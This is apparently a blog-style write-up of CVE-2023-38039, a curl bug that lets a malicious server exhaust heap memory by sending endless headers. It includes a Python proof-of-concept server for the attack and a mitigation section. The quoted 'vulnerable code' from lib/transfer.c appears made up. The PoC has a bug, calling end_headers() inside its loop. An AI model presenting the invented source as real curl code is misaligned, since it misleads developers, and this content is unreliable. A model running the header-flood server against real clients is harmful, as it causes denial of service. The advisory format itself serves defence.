A new vulnerability (assigned as CVE-2023-38039) has been discovered in curl, the widely-used command-line tool and library for transferring data with URL syntax. This vulnerability allows a malicious server to stream an endless series of headers, thereby causing curl to run out of heap memory. This post will provide an in-depth analysis of the issue, along with code snippets to demonstrate the vulnerability and its impacts.

Background

curl is an open-source project that provides a tool and library for transferring data using various protocols, such as HTTP, HTTPS, FTP, and more. The curl library, known as libcurl, is used in various applications and programming languages for enabling URL-based data transfers.

When curl retrieves an HTTP response, it stores the incoming headers so they can be accessed later via the libcurl headers API. However, curl did not have a limit on the number or size of headers that would be accepted in a response.

Vulnerability Details

As previously mentioned, curl did not have a limit in terms of how many or how large headers it would accept in an HTTP response, allowing a malicious server to stream an endless series of headers. This would eventually cause curl to exhaust its allocated heap memory, leading to a Denial of Service (DoS) attack in applications using the curl tool or libcurl library.

The vulnerable code snippet is shown below

/* lib/transfer.c - curl_easy_perform() */
{
    /* ... */
    while(data->req.num_headers)
    {
        /* ... */

        /* There is no check for the maximum number of headers or their
         * cumulative size.
         */
        if(new_header)
        {
          data->req.num_headers++;
        }
    }
    /* ... */
}

The code above shows the problematic section in the curl library, where the number of headers is incremented indefinitely without any check for the maximum number of headers or their cumulative size.

Exploit

An attacker can exploit this vulnerability by setting up a malicious web server that sends a seemingly endless series of HTTP response headers when curl or an application using libcurl connects to it. The following example Python script demonstrates how to create such a web server:

from http.server import BaseHTTPRequestHandler, HTTPServer

class MaliciousHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        for i in range(1, 100000):  # This number can be adjusted
            self.send_header(f"X-Malicious-Header-{i}", "A" * 100)  # Adjust the size of the header value
            self.end_headers()

if __name__ == "__main__":
    httpd = HTTPServer(("", 808), MaliciousHTTPRequestHandler)
    httpd.serve_forever()

When curl or an application using libcurl connects to this malicious server at http://localhost:808/, the continuous stream of headers will cause curl to run out of heap memory and crash the application.

Mitigation

To mitigate this vulnerability, it is recommended that users update to the latest version of curl and libcurl, where this issue has been addressed. The updated version includes a limit on the number of headers and their cumulative size that can be accepted in an HTTP response, preventing a malicious server from exhausting curl's heap memory.

Conclusion

In summary, CVE-2023-38039 is a critical vulnerability in curl and libcurl that allows a malicious server to cause curl to run out of heap memory by streaming an endless series of headers. To protect your applications from this vulnerability, ensure you use the latest version of curl and libcurl, which addresses this issue by implementing limits on the number and size of headers in an HTTP response.

For more information and the official announcement regarding this vulnerability, please refer to the curl project's security advisory.

Timeline

Published on: 09/15/2023 04:15:00 UTC
Last modified on: 10/11/2023 11:15:00 UTC